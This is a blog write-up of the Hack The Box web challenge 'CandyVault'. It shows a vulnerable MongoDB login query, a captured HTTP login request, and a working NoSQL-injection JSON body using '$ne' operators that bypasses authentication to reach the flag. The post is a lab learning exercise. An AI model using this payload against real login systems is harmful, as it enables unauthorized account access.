CandyVault is a very easy web challenge created by leanthedev on Hack The Box. Solving this challenge required performing a MongoDB noSQL authentication bypass. Hello world, welcome to haxez where today I will be looking at CandyVault.
CandyVault Application Enumeration
I spawned the instance and fired up OWAPS ZAP. I navigated to the IP address in the browser and had a look around. Other than a login form, there wasn’t much to see on the application except the spooky ghost. I ran an Ajax Spider but that didn’t return much. After that, I ran an active scan which didn’t find anything. Yet another example of why it is important to manually test things as tools don’t always find bugs.
![CandyVault Application Enumeration](https://haxez.org/wp-content/uploads/2025/02/image-8-1024x478.png)
Source Code Review
As my initial attempts to find a vulnerability were fruitless, I download the application files and started going through them. I loaded up the app.py file and didn’t understand what the if statements were doing at all. There was some logic on the login route but I didn’t have a clue what it was doing. So I headed to chat GPT and asked it to help me understand the code.
![Source Code Review](https://haxez.org/wp-content/uploads/2025/02/image-9-1024x808.png)
The vulnerability in this Flask application lies in the MongoDB query inside the /login route:
user = users_collection.find_one({"email": email, "password": password})
Since user input is directly inserted into the query without validation, an attacker can send a malicious JSON payload with MongoDB operators (e.g., {“email”: {“$ne”: null}, “password”: {“$ne”: null}}) to manipulate the query logic. Because $ne: null (not equal to null) is always true, MongoDB returns the first user in the database, allowing an authentication bypass. The attack works only when Content-Type: application/json is set, ensuring Flask parses the input as a dictionary rather than a plain string.
Exploiting CandyVault
With that in mind, I turned on breaks in ZAP and captured a login request. I changed the content type to application/json:
POST http://94.237.54.116:45555/login HTTP/1.1
Host: 94.237.54.116:45555
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Content-Type: application/json
Content-Length: 24
Origin: https://94.237.54.116:45555
Connection: keep-alive
Referer: https://94.237.54.116:45555/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
and modified the body to a NoSQLI authenticiation bypass:
{
"email": {
"$ne": 0
},
"password": {
"$ne": 0
}
}
![Exploiting CandyVault](https://haxez.org/wp-content/uploads/2025/02/image-10.png)
I then clicked continue to forward the request and I was logged in to the application and could see the flag.
![CandyVault Flag](https://haxez.org/wp-content/uploads/2025/02/image-11-1024x522.png)
CandyVault Learnings
I haven’t done many NoSQLi challenges or boxes before so this was new to me. Or perhaps I have done one before but didn’t understand it all that well. I don’t understand this one all that well either. The code I mean. I understand that the username and password parameters are being passed directly to the query. I understand that the request needs to be converted to content type json in order for the server to understand it, but everything else is still a bit foggy. Hopefully there is an academy module on NoSQLI.